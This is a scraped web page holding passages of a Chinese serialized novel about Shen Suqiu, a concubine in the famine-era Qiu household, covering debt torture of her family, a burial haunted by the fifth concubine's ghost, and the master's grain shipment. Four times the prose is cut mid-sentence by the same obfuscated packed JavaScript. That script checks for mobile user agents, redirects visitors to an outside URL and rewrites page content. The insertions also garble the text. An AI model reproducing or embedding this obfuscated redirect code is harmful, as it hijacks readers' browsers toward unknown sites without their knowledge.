沈素秋看着她这变幻无常的样子，什么话也不想说了。 算了，她好像也帮不上什么，也轮不到自己去忙些什么。花开花落自有时。 两人从造梦轩出来后，气氛闷闷不乐，从脸上看都像系挂着万重事。尤其雪樵，沈素秋从未在她脸上看到如此复杂的表情。 “你说她真的会好吗？” 沈素秋伸手去摸那些含苞的荷花，去年一池早凋尽了，今年又开新的，花是这样，人也是这样。所谓芳莲坠粉，疏桐吹绿，万事万物都抵不过轮回的消磨。 “兴许吧。” 三房也不敢确定，声音比之刚刚在屋里还闷。 “我猜不光是因为那个死了的丫头，”沈素秋无比确信，“肯定还有别的刺激.......” 不知为何，她又想起那晚和温灵缠在一起的男人。 “什么刺激？” “老五。” 沈素秋重复，“五房那个，你还记不记得？” “快别说了。” 池子边起风了，天有些阴了下来。 雪樵拉紧披肩，挽起沈素秋，两人快步往回走。 趁无人在意，沈素秋回眸远远看了眼绿意交映、花絮纷飞的造梦轩。 造梦轩，造梦，这屋子就跟它名字一样，像是一场沤珠槿艳的梦。影影绰绰里，她看见老四身边的丫鬟椿儿神色匆匆地跑了出来，不一会儿，又领着一道年轻健壮的身影飘进了屋子。 椿儿守在门前，谨慎观察着空无一人的甬道，像是一棵忠心的树。 沈素秋大概明白了什么，回过头挽着钟雪樵说：“走吧，告诉二太太，她已经自己请来了医生。” 龙王节举办得十分顺利，老天也十分欣悦地下了场大雨。旱情有所缓解，这是大家伙始料未及的事。沈临春在信里告诉沈素秋，今春不同往年，连降了好几场雨，看来是龙王老爷真显了灵。他还有另一桩喜事告诉家妹：沈白氏怀了身孕，两人终于要有他们的第一个孩子了。 沈素秋很高兴，回信时给送信的毛五多塞了两张毛票。麻烦他替自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196985|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己将一个镯子送到哥哥手上，算是自己作为未来小姨的一点心意。 毛五为人忠正，有着老黄牛般沟壑分明的皮肤。他行动起来，永远要滞后半拍，据他自己说说，他六岁入府，已经在邱府伺候骡驹六十五年。 他向沈素秋描述邱家家主邱守成头婚时的盛况：整整十里红妆，上百箱金银珠宝，光是鞭炮唢呐就连响了十天十夜。而迎娶二房时，就是五里红妆，数十箱珠宝。再到三房，三里红妆，两箱珠宝，四五六房更是直接省了，光一顶花轿送到侧门边，偷偷摸摸的，像钻老鼠洞一样，让新娘自己钻进洞房去。 由此可见，邱府光景大不如前。 沈素秋不在意这些虚礼，可有时候也难免遐想：如果当初是某人娶了自己，他们会怎么样？ 比不过现在这般寸米寸金的富贵和清闲，但也不至于饿死在路边吧？她相信自己和周铁生营生的能力和手段，小康之家，其乐融融，这样也很好吧？ 女人自顾自陶醉着，感觉自己的霞飞苑也成了造梦轩，成天造些不切实际的梦。门外家仆轻轻走了进来，是二房的人，她说，二太太想请您过去坐坐，一同品鉴云南的好茶。 沈素秋欣然应允。 “其实这些事本该是我来操办的，但是最近不知道怎么，景明和景和接一连二都发了高热。我心里记挂孩子……” 说到这里，沈素秋已经明白了，世上没有白请你喝的茶。 “嗐，说起来也不是什么大事。大房你也知道，眼高惯了的，毕竟是晚清时候的小姐，小时候还进过内廷教养。区区埋葬一个下人这种事，又怎么肯亲自处理？” 二太太凤霞涮了口茶，笑靥如花道：“你宽心，大房那边我通过气了，管家爷那头我也吩咐过了，你只管调遣人手，走过场似的亲眼看着法官给她封了棺，贴了符，打了钉，入了土，你的差事就了了。” 不知是真因为两个孩子都有病，还是怕送棺入葬不吉利，这事已容不得沈素秋拒绝。二房难得求一回人，何况她还对自己有恩。 刚嫁过来时，府里人看沈素秋跛脚，没少明里暗里给她气受。有一回被凤霞抓了个正着，看到有人在六房的茶汤里吐口水，凤霞当即喊来霞飞苑里的所有下人，当着他们的面，给了那人重重一耳光。从那以后，再没人敢嘲笑沈素秋的那只跛脚，至少明面上不敢嘲笑得太高调。 “既然这样，我就帮你去办这桩差事，但我也有个不情之请。”沈素秋见机进言，“外管事的门路我不大懂，现在会点装神弄鬼的人都说自己是大法官。从前府里用惯了的慈道人年前因为饥荒逃去外地了，城里几家道观都空了，我想举荐一个人，跟我一起料理那具尸体。” “我知道你想说谁。” 凤霞心思活络，聪明人讲话，总是不用太透。 “只是为什么是他呢？” “二姐有所不知，他小时候得过四六风症，那病你也知道，病情凶猛。当时连他爹都以为他活不下来了，后来死马当作活马医，请了个名不见经传的法官来作法，把他从阎王爷手里拉了回来。” “可过去了这么久，你肯定他还能找到那个大法官吗？” “我肯定。”沈素秋目光坚毅，“因为我父亲死时，也是他替我请的那位法官来作法。我到死都不会忘。” 13.第十三捧麦 莲花沟上的风裹挟着黄土，把沈素秋的红嫁衣吹成了一朵云。她跪在沈家祠堂的砖地上，目睹额前的汗珠一滴一滴砸在自家的欠粮契上。 祠堂外忽然炸起一声惨叫，磨盘转动的吱呀声混着骨裂的闷响，像大麦和黄豆被烧爆在风箱里的声音。沈素秋的膝盖在砖缝里抵出血，却不敢向外看。她知道那是哥哥在替自己行刑，掌刑的是周铁生。 "财东仁义。"管家爷的老烟嗓荡进祠堂，"沈家人开春欠的五斗麦，秋后还十五斗，碾一根脚趾抵一斗，另外卖女再补五斗。" 沈临春疼得晕了过去。血顺着碾槽流进砖缝，流到沈素秋脚边，流进她的红嫁衣里，于是红洇得更红。 红得几近发黑。 邱守成指派的婆子们乌泱泱地涌进来，用梳子梳起沈素秋脑门前的几绺儿头发，打量了一番她的五官。其余两个压着她的腿，扒掉她的鞋子，上手捏了捏她那两只完整的脚。 "回管家的话，没缠过足。" 祠堂外忽起喧嚷，沈素秋的爹被两个长工架着，扔在了地上。老汉瘫倒在地，看着洒落在地上的麦粒，喉结蠕动着爬过去舔了起来。 “都是粮啊！都是粮……” 老汉热泪盈眶。 沈素秋却哭不出声了。 “不成，”老管家敲了敲手里的紫檀拐，瞅着少女的脚，啧了两声，“东家喜欢小脚。所谓小脚小脚，福气绵长。女人脚太大，是要踩到男人头顶上去的。” “男人为天，女人为地。”领头的婆子补充，“天在上，地在下，这是老祖宗定死的规矩。” “但这也不是什么难事，”管家爷说，“等回头下了聘，大婚的头一天，你们几个帮帮她。痛是有些痛的，但你要知道，哄得东家开心比什么都重要。东家的话就是圣旨，东家的恩赏就是天恩，听明白了吗？” 沈素秋点了点头，擦去挂在下巴上的泪，沈临春被拖了进来。 一双腿脚踝以下已经不成型了，全是血糊刺啦的筋肉，软趴趴地拖在地上，划出两道粗长的血痕。 沈素秋看着一旁无动于衷的周铁生，垂下头去，在婚约上摁下红指印，“我嫁就是。” 这场老夫少妻的结合含带七分胁迫，两分无奈，还有一分报复似的决绝。周铁生眼里终于有了失望和愤怒。 沈老汉抱着铁生的腿说：“求你跟东家说一说，今年的五斗我一定还。只是十五斗实在还不起，求老爷放我家一条生路！” “已经宽限大半个秋天了，”管家爷面不改色，“你别急，等你女儿嫁过去，至少你家还会活一个。你不嫁，一家都得死。家都给你拆了，让你无颜见祖宗。” “你们........你们欺人太甚！” 沈老汉年轻时做过举人，还残有几分文人风骨，他看着满屋子麻木不仁的脸，铆足全部力气，朝管家扑了过去。 “你们这帮畜生！我跟你们拼了！” 老弱残烛被年轻气盛轻而易举镇压，四五个肉壮小伙将老汉摁住，沈看山像只濒死的骡。 “疯了，都疯了！” 管家爷拍拍身上的土，把带来的两袋莜麦推倒在地上，脸红脖子粗道：“东家就该拿粮去喂鸡，你就活该被饿死！” 他看着周铁生，气势汹汹地说：“你过来，把麦塞进他嘴里！” “爷.......”周铁生后退一步，摆了摆手。 他不敢去看沈素秋。 “怎么，连你也要忤逆东家的心意？” 管家爷不耐烦地用拐杖戳了戳地，“我的话就是老爷的话。老爷让我来收租，说了无论是杀是打，只要补齐欠粮，那就各自相安无事。你是老爷身边用惯的人，这可是表忠心的好机会。” 周铁生走上前，手插进麦里，挖起一捧麦。 有几粒透过指缝，掉在地上。 “铁生！”沈素秋不顾形象地爬了上来，抱住他的腿，“别这样.......铁生.......求你再跟老爷求求情........” 周铁生放下麦子，扯了扯衣下摆，旋身跪在管家面前，“求爷垂怜！他们一家老弱妇孺，当家的壮年已经没了脚，欠下的粮债也抵全了，何苦这样苦苦相逼？！” “那是他该受的！”管家爷的口吻不容置疑，“你要不动手，我就喊别人来做！有的是人想当邱家的义子！” “素秋.......” 男人抱歉地看了她一眼。 “不要.......”沈素秋泪水涟涟，“求求你，铁生，不要.......我给你磕头.......” 周铁生什么也没说，站起身来，抓着一捧麦子走了过去。 山外雨更大了。 龙王真显了灵，短短一个月，一场接一场，没得让人忧愁。 沈素秋从床上坐起来，看着窗外一丛绿了的芭蕉，发了会呆。她抬下那只残废的右脚，坐在床边，身边是没打完的毛衣。 男人的话又回荡在耳边。 “你放心，那个狠心的管家我已经替你出过气了。回府路上，我悄悄推了他一把，让他摔进了沟子里，肋骨摔断了好几根。” 周铁生事后对她说。 沈素秋看着父亲的尸体，白布盖在他脸上，他嘴里塞满了小麦。 蛮好，吃饱了走的，至少到了鬼差跟前，不用当饿死鬼发配。 “欺负个管家有什么用？”沈素秋的话淡淡的，已经提不起力气表现任何情绪，“你不是厉害得很？年轻时抢药铺，连县令爷都敢冒犯。活着活着，还倒退了，不敢找姓邱的，只敢欺负一个老头。他也只是听吩咐办事，一样都是任人差使的牲口，该摔进沟子的是邱守成。” “素秋.......” “以后别见了。”女孩说，“你要真惦念着和我的那点情意，就替我找个好法官，我想好好送我爹上路。” “我........” 周铁生还想再解释。 “去吧。”沈素秋头也不抬，“以后该叫我六姨太了。” “六姨太安。” 男人单膝跪在门外，声音太大，震落芭蕉叶上的水。 沈素秋回过神，打着毛衣问：“人请来了吗？” “请来了。” 周铁生领着独眼道士迈进院子里，沈素秋让人把椅子搬到廊下，她坐那儿去听两人回话。 “禀太太，大法官已经带来了。一应香烛纸钱也应备妥当，只等您一句话，即刻就能送她上路。” “坟地找好了吗？” “找好了，”周铁生的声音混在雨声里，“二房太太说这是不吉利的事，不想太宣扬。于是差人埋在戚园旁边那口老井旁边就行，她说从前府里死人都是埋在那儿的，老井受过高人开光，底下有符镇着，戚园再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200644|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多魂魄也冲不出来。” “那就容我拾掇拾掇，即刻出发吧。” 雨声滴答作祟，沈素秋任凭周铁生撑着伞，领着法官和两名家仆，担着女孩的尸体往戚园走。 戚园是邱府的废园，从前也是五姨太的住处。沈素秋听说，老五也是个心性良善的人。有年龙王节，她被推选为雨娘娘，跟着草舟大队游街祈福。有拦路的荒民半道哄抢，她非但没有生气那些人抓烂她的衣服，还耐心将那些供品分发给他们。 为了这事，她挨了地主父亲一顿毒打，也因为这事落下活观音的美誉，传到了邱守成耳朵里。不出半月，邱家的求亲契就送上了门，连着一起掮来的两箱大米和绸缎，老五就这样水灵灵嫁进了邱府。 谁不是水灵灵地嫁进来的呢？沈素秋一路在想，没有男人会愿意娶一个丑陋的老女人。除非她身上有利可图。男人常指责女人世俗功利，其实最功利的是他们，他们视追名逐利为人生一等要事，是仅次于性.欲的存在。 包括周铁生。他多想做义子啊，有钱人家的义子，等于半个少爷。谁又能不眼红？ 戚园大门“吱”一声被吹开，都不用人推。早年邱守成让人在这里种了许多茂竹，竹子坚韧耐寒，不用刻意打理，又美观。是人就贪图省心。 “你就站在这儿吧，我跟他们进去就好。” 沈素秋不想某人跟着，“虽然是死了，但好歹也是姑娘家。抬棺特意找了婆子，没让爷们来，就当给她点最后的体面吧。” 周铁生“嗯”了一下，把伞交给沈素秋，退回到门边。 “劳烦法官大人开始作法。” 沈素秋站在土包前，思绪随雨幕有些飘扬。听着大人咿唔嘛呼的祝词声，她仿佛看到老五浮现在雨里，冲自己在笑。 她就坐在那口老井边，穿着月牙白的宽口大褂，眉毛细细长长，含情带笑。 然后一头栽进了井里。 沈素秋吓一大跳。 她看了看四周，不由得抱住了自己。法官还在唱跳，滂沱大雨里有了火光。燃烧着的纸符从女孩的头贴到了脚，婆子们左右摁着那具惨白的尸体，像是在弹压一副白骨。 沈素秋走过去，想再看看那女孩的脸。怎知尸体遽地睁开双眼，瞬间变幻成了五房的样子，满身的纸符像是密密麻麻的鱼鳞，她朝自己扑咬过来。 “有鬼……有鬼啊——！” 沈素秋丢下雨伞，趔趔趄趄地朝门外跑。 周铁生听到惊叫，往里一探。下一秒，沈素秋“咚”一声撞在他厚实的胸膛上。 “怎么回事？！” 他猜到了什么，又觉得不是没有可能。 “我看到了.......” 女人抖个不停。 “老五，我看到了老五！” “什么？” “就是那个五姨太........”沈素秋面色骇白，指着坟茔，泣不成声，“她坐在井边，好端端的，掉了下去！又附在了那个丫头身上，要来掐死我.......！” “没事的。” 周铁生管他有人没人，一把将女人搂在怀中，柔声安抚着。 “她不是你害死的，跟你没有关系。” “不，她是我害死的.......是我们一起害死的.......”女人痛哭不已，“她是被我们邱府每一个人给活活逼死的！” 14.第十四捧麦 温灵再次出现在大家面前时，又恢复了从前艳帜高张的模样。 人们又能看到她穿着全府最艳丽的旗袍，屁股扭得似波浪。那个摇啊、晃啊，看得男人心里像装着一艘聚宝船，行驶在波涛汹涌的欲海，乘风破浪。 午饭间各房看她面色红润，食欲过人，心里都松了一口气。 没事就好，在邱府，没事就是最好的事。沈素秋希望大家都没事。 但她很快发现了端倪。 沈素秋发现，温灵召见那个伙夫的次数越来越多，场合也越来越不知回避。 起初还好在屋里头，后来转移到了灶房前，花园里，池塘边.......沈素秋一连好几次撞见她跟那伙夫交.媾缠绕，光天化日，白日宣.淫，仿佛身处无人之境。 所幸的是，那几次都只有沈素秋自己一个人。她每次都会假装没看见，头几回还觉得惊讶，后面也麻木了，再后来不用看，光听到那熟悉的吟.哦声就懂了。她自会找另外一条路走。 这一天，沈素秋约她一起赏花。说是赏花，实则也是有意无意提醒她，有些事情还是不能太过张扬。就算自己不介意，万一被其他人看到，难免起风波。尤其大太太如芸，她最重视规训。 温灵嘴上说好的好的，也不知是真好还是假好。沈素秋能做的只有这些，她自认为自己已经尽到了提醒之责。 一群丫鬟抱着几盆花走过，叽叽喳喳着讨论些有的没的闲话。 温灵目光一紧，随手抄起手里的茶盏，朝一个丫鬟头上砸了过去。 一旁的沈素秋一头雾水。 “你们是不是又在骂我？！” 温灵站起身来，折下一枝月季，当做藤条，扫到那群女孩脸上。 “你们是不是又背地里看不起我？觉得我是个婊.子？！啊？是不是？！” 沈素秋叹了口气。 “别以为你们一个个装得一副天真无知的样子，就骗得了我！” 斥骂声越来越尖锐。像猫被踩到尾巴一样。 “我告诉你，只要有我在府里一天，你们就死也不能爬我头顶上去！就算你们真做了太太，那也是被我压着！我排第四，你们只能排第七，你们谁也别想越过我！” 温灵越说越亢奋，沈素秋怕她又打人，立马让两个婆子把她拉了下去。等她安抚好温灵，又找来刚刚被泼了一身滚茶的那个丫鬟，代温灵向她道了谦，还让人给她送去了烫伤药。她说四姨太只是病了，病没好全，看起来好了，其实没好，而且病得更深了，你别记恨她。 晚饭时间沈素秋遭到了大太太如芸的训斥。 原因是她从下人口里听到泼茶一事的原委，本来也懒得管的，但听到后面，得知沈素秋居然去找丫鬟道了歉，还给她擦了药，她顿觉天昏地暗，万念俱灰，做主子的居然跟丫鬟低头，这世风真的要变了。 后来沈素秋有些明白傅如芸为什么反应这么大，她是晚清勋贵，小时候还进过宫。听说她娘家曾是湖广区域某位重臣。可惜家道中落，朝廷千金也委身商贾人家，但骨子里的戒律分明、尊卑严谨早已像裹脚布一般，黏进了骨肉里。 傅如芸认为，即便王朝堙灭，新世界交替。可君是君臣是臣的道理还是不会变。君之下是臣，臣之下是民，民之下是贱民。沈素秋是民，她怎么可以跟一个贱民道歉？简直是滑天下之大稽，更是对自己身份的大不敬。她变得有些紧张多疑，跟亲女儿婉凝一起睡觉时，也难免问她：咱们家是不是真的要完了？你上的洋学里，有没有告诉你，人对猪猡和蝼蚁低头？ 婉凝每每听见这种问题，就觉得她这位母亲愚昧而蠢钝。一方面，她净重傅如芸的高华气度，那是真正世家大族多年淬炼出的精华，一方面，她又觉得这个女人不可理喻，都什么年代了，三五岁的娃娃都知道人人平等了，人和人都平等了，什么猪猡什么蝼蚁，太侮辱人，侮辱到自己都不像个人。 她把这事赌气似的讲给素秋和雪樵听。三人坐在院子里，一起理着一堆彩线。 邱婉凝视针黹女工为大敌，从不屑与之为伍。她也只有在和三房和六房面前有几分乖女儿家模样，她觉得她们摆弄针线的样子很美。 “雪樵，你自己说，我母亲是不是个老糊涂？” 钟雪樵轻轻一笑，放下纳到一半的鞋底，说：“你受过教学，六岁不到就上了学堂，一直读到二十岁。哪个人家的姑娘有你读的书多？即便是王府、刘府、杨府家的小姐，都没你这般好命，你是小姐堆里顶厉害的人。” 邱婉凝听得尽兴，沈素秋却不以为然，她知道雪樵后面一定有一个“但是”—— “但是，”钟雪樵说，“你读过那么多书，明白那么多新奇的道理、想法、观念，先不谈它们是对是错，可你读它们的意义是什么？你是学成了，于是反过来头来看自己的母亲糊涂，那你有没有想过，你未来的女儿，或是往后五十年接受过教学的女子再看五十年前的你，一样觉得你糊涂？迂腐？ 有太多女孩这样了，接受了女子新学，就开始试图跟其他女人划清界限，觉得自己与众不同，鹤立鸡群，其他人都是一群封建余孽。唯丈夫是尊是蠢，生儿子也是蠢，相夫教子是蠢，贤妻良母更是蠢上加蠢。可是这有什么好指责的呢？你大可以追你的新女□□业，我也可以围着我的三分厨房打转。你们该做的是如何解决问题，而不是指责存在这些问题的女人。如果不能解决，那还不如不说，你说对不对？” 邱婉凝整个人都震惊了，她从来没意识到这一层，更没想到一个常年深居简出、隐世而居的富贵太太会说出这样富有哲理的话。 她将自己的心理剖解得一清二楚，她想装都装不了。邱婉凝不得不承认，自己这些年就是越来越鄙视府里的女人了，尤其是留洋归来后。可今天，她重新找到从小仰视母亲的感觉，她仰视钟雪樵，如同仰视年轻时的傅如芸。她觉得这些女人并非只是独独围着丈夫打转的朽木，相反她们的光华，蕴藏在更深层次的针脚细密处。她们只是被困住，不是没脑子，邱婉凝开始学会反思。 从那以后，她更加频繁地来往于邱府和她那群同学之间。邀请同学上门谈话的次数也越来越多。她们像是在筹划着什么，沈素秋听不懂，她只上过两年女校，不及婉凝慧根早种，更不及雪樵冰雪聪明，她觉得自己样样不如人。 “哥几个睡了的没睡的都赶紧起来，管家爷子有话吩咐。” 这天晌午过后，周铁生在草堆里眯觉，一把被毛五推醒。 入了夏了，草堆成了火窟，早两个月周铁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15206435|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生还贪恋它的温暖，现在就有点厌烦它过于地温暖了。 一群老少爷们嘟嘟囔囔地顶着满脸不耐烦起身站好，看着管家爷身后一溜儿丫头们举着着红漆托盘，每个盘子中央都摆着一双新布鞋。 “太太们感念前段日子龙王节各位的辛苦卖力，特意每人赏赐布鞋一双，绿豆糕两块。传言绿豆解暑，如今入夏在即，希望各位爷们穿了新鞋、吃了甜糕儿，继续给邱府专心做活！” 大家伙“呦”地一声起哄，先前的不耐烦一扫而空，众人按照规矩，一个个排好领鞋领糕，周铁生一早想好，自己的那份绿豆糕给毛五，他只留一双鞋。 “周相，你过来。” 管家爷单独把他叫了出去，特意避开下人房里的其他人。 “把东西收好，谁也别显露，听到没？！” 他语气近乎胁迫，快速地将一包东西塞到男人手里，然后头也不回地走了。 周铁生打开纸包，见里头盘着四五个彩鸡蛋。像是刚煮好，还有些温温的。 他又觉得天不热了。 “东西送到了吗？” 沈素秋候在廊房一扇雕花窗外，阳光透过窗格子照过来，在她脸上切割出无数小光斑。 “回禀六太太，东西都送到了。” 管家爷弯腰勾背，他年岁太大了，比毛五还老，说话的声音像是树枝刮过铁皮墙。 见沈素秋不吱声，他还没有离去的意思，继续道：“先前太太掌刑他五十戒尺，当中我也没少参与。太太不记恨我，还让我送东西，这........？” “你是个好人，”沈素秋无可奈何，“那天在田头掌刑，你也只是听差办事。你在府里为人公允，老爷夫人都信任你，听说你在管家位置上坐了四十年？四十年都没易主，由此可见，你做人做事都有章法，值得托付。” “六太太过奖了，”管家爷汗颜，“只是掌刑是小，那么当年收租之事.......” “所以这才是我确信你会帮我这个忙的原因，”沈素秋掐出一丁儿点的笑，“一个过去三年都还心怀愧疚的人，怎么可能是坏人呢？我说了，你也是听差办事，束手无策。我就算恨你，又能怎么办？还不如让你替我做些实事，这样你心里好受些，我心里也好受些。” “太太深明大义，老身深谢了。” 一番滴水不漏的话把老管家说得感激涕零，他一生未娶妻生子，为邱府鞠躬尽瘁，却鲜少有这样饱含热泪的时刻。更很少有人来体己关怀自己，他没想到，素来私交浅薄甚至还有点龃龉的六姨太，会这样放过自己。 没什么好斗的了，沈素秋总这样想，能活着已经很艰难了，还斗来斗去、咬来咬去有什么劲？她就算拿着火统子把当年参与收租的人全都轰死，又有什么用。邱守成还是永远的邱守成，他会很快找一个新管家，他身边又会有新的周铁生。大哥的脚已经断了，父亲也已经死了，事情都做完了，什么都来不及了。 她什么都来不及了。 沈素秋扶着那条残腿，慢慢往霞飞苑走。仲夏夜的风抚过，柔软得像母亲沈赵氏的手。 她又看到温灵一身媚态地站在路边，抱着伙夫的脸又亲又舔。这次沈素秋当做什么也没看到，径直从两人身边擦肩走过。 15.第十五捧麦 邱府从未有过如此忙碌的清晨。 下人房里的汉子们梳了油头，换上了前些天刚分发下来的新布鞋，还拿出各自只在盛大年节时上身的、洗得发白的大马褂。丫鬟们也各个抹起了桂花油，脸蛋子上搽了香粉。百来号人雄赳赳气昂昂地站在邱府大门前， 酡颜般的晨曦照出五位太太各具风姿的礼服旗袍，她们也都盛装打扮过，从三更天起就沐浴焚香，清洗尘垢。只因老爷的家书半夜传入府中，说自己明早即将抵返邱府，请府中众人准备迎接。 沈素秋站在太太堆里，看着温灵百无聊赖啃着指甲。她新染了蔻丹一天一个色，不喜欢就换了，和她的人一样，干脆得没有一点留恋。 三太太雪樵一身素白，银得发亮的真丝软绸衬出她的纤态。可惜她的面色是严峻的，乃至冷峻，看向空无一人的街口，像在忐忑地迎接一场战争。 而二太太和大太太要从容得多，她们像是已经适应这片土壤的气候和脾性，也无惧即将来到的邱守成。尤其大太太如芸，对丈夫的来去近乎一滩死水地平和，沈素秋看在眼里，暗暗佩服她的心境。 日照当头，太阳一寸一分地偏倚到头顶，即使不时有飗飘掠过，也难免有些燥热。 众人直愣愣地看着安静的门前大街，彼此脸上有了疑色，不肖半刻，四太太温灵站不住了，嚷嚷着要回房休息。 刚抱怨完，转角口跑近十余匹快马。马上坐着些宪兵模样的男人，领头的那个如芸认得，是西南商会徐总督手下的张少尉，也是这次同老爷一起去湘西进货的精兵随从。 一行人大马金刀地别着洋枪站到了各位邱府人跟前，走在最前头的张少尉见到大太太如芸，弯腰做了个揖。大太太问，老爷呢？ 张少尉不紧不慢地讲，“老爷还在距离县城八十余里的姑娘坡，如今城外饥民泛滥，那起子乱贼四处造反，为了争夺粮食，抢烧劫掠，连下榻的旅店也遭了他们的荼毒。老爷被困在姑娘坡一位商会同僚的偏宅中，暂且安全。又怕各位太太们担心，驱我漏夜进城，快马加鞭，先给各位太太报个平安。” 众人心中略微安定，又听少尉讲：“只是还有一件事，需要夫人亲自料理。” 他拍了拍掌，后头兵差将马车上的箱子悉数抬了下来。这时沈素秋才看清这群人身后还跟着长长一串马车，马车里都有四五只这样的箱子。每只箱子打开来，全是白花花的大米和金灿灿的新麦。 下人堆里忍不住发出“哇”地一声惊叹。 张少尉满是自豪道，“邱老爷说了，现在粮比金贵，他拼死拼活从湘西运来的粮食，可不能让那些饥民抢了去。暂居姑娘坡只是权宜之计，如果姑娘坡破，将会损失惨重。于是让我先将这批粮货送到邱府，请夫人亲自开仓，将它们放进地室，宪兵队会拨人日夜看守，也请太太在府中择选些年轻壮仆，守好这批粮货。” 他摸了摸身后的马，满脸带笑：“不怕夫人笑话，进城怕被那群饥民盯上，我特意用了马车驮运，而非牛骡。对外谎称车里坐着的是人，而不是粮。谁又能想到，只有人才能坐的马车，粮也坐上了呢？由此可见，现今世道，人不如粮。” 大太太如芸接过老爷的亲笔密函，确认的确为老爷手笔，且含带一枚两人大婚时互送的锦囊玉佩，一改先前的满脸警惕，笑盈盈地邀请少尉进府里说话。 一群人坐在堂屋，奉上茶水糕点，张少尉脱下制服，又将腰里的枪摘下，放到了桌上，脸色比刚刚在门口随和了许多。 “邱家不愧是名门望族，看着这满屋子男女老少，一个个庄严肃穆、有板有眼，还得是夫人治家有道。” 这都是些场面话，如芸随意听听笑笑，没接他话茬。 张少尉又看了看坐在对面几位姨太太，各有各的风姿，他像是想到什么，扭头对厅上的傅如芸道：“我差点忘了一件事，老爷这次差我来，不仅为了运粮，也给各位太太们都带了礼物。” 说着命人捧进五个大小不一的匣子，按大小依次交付到各房太太手中。 “我就知道.......”温灵第一个摆起了脸色，捏着手里的那只正阳绿手镯，看了看，扔到了桌上，“就知道心疼三房。凭什么她就是帝王绿.......死老头子就知道偏心！” 众人将埋怨听到耳朵里，却都不做声。 沈素秋看了钟雪樵一眼，见她握着那只帝王绿，兴致恹恹，吃午饭前，钟雪樵差人将帝王绿送到了造梦轩。 “那样名贵的东西，你送给她做什么？”沈素秋不理解，“就算你不爱财，那可是帝王绿，我听说大房年轻时也有一个，还没你这个这么大。” “你没听少尉说吗？”雪樵满不在意，“如今世道，粮比金贵。你别看府里现在吃好的和好的，要哪天咱也闹饥荒了，什么金石玉器都还不如一碗大米饭来得实在，她喜欢那就给她，何必在这种事上费心？” 沈素秋觉得她所言有理，越发佩服雪樵洞察世情的能力。先前她对邱婉凝的那一番话就已让自己刮目相看，现在听她说起这些，更加自愧弗如。 夜里大房难得喊了各房去她那儿听训，平日有什么事都只在白天宣召，沈素秋不敢怠慢，第一个赶到了宛陶居。 随后二房三房匆匆赶来，凤霞眼中似有泪光。 四房人先是等了一会，迟迟没等来温灵，便也作罢。 如芸和声道：“白天少尉的话大家也都听到了，府里要开仓屯粮。宪兵队的人也要入府扎守，只是他们只有白天在，天擦黑就要回兵营。夜班人手，还需推选出个合适人选。” 见各房都没什么反应，如芸自顾自道：“老爷的亲笔函我已经看过了，兹事重大，一般人他信不过——” 话说到这，意思已经很明显了。 “我觉得他不太行，”沈素秋一口否决，“太太忘了，他当初回府，就是因为吃不饱饭。如果派他去看守粮仓，那等于放虎归山，鬼知道他会不会偷藏粮秣，中饱私囊。” 傅如芸似乎对沈素秋这番话十分认同，看来先前的五十戒尺颇具成效。她想看到的就是这样大公无私的关系，不掺杂任何眷恋，一心只为邱府考虑。 殊不知，这一番看似拒绝和贬低的话里，也有沈素秋别样的私心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223823|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看守粮货看似油水丰厚，实则也是个烫手山芋。他周铁生吃不饱饭可能偷吃，那府上其他吃不饱饭的人难道就不会偷吃了？如若真有人偷粮、被宪兵队的人发现缺斤少两，那么问责的肯定是看守粮仓的人。她给周铁生投否决票看似是为他拒绝了一个肥差，也是想他多一事不如少一事。 就算是死，他也只能死在自己手上。 别人谁也不配。 “可谁让老爷点名要他呢。”如芸抽出一口冷叹，“我跟你一样，都不大喜欢他。但老爷的性子大家也知道，轻易不相信人。难不成让我们几个女人半夜挑着灯笼守粮仓？那要真遇到贼人，可就真成笑话了。” 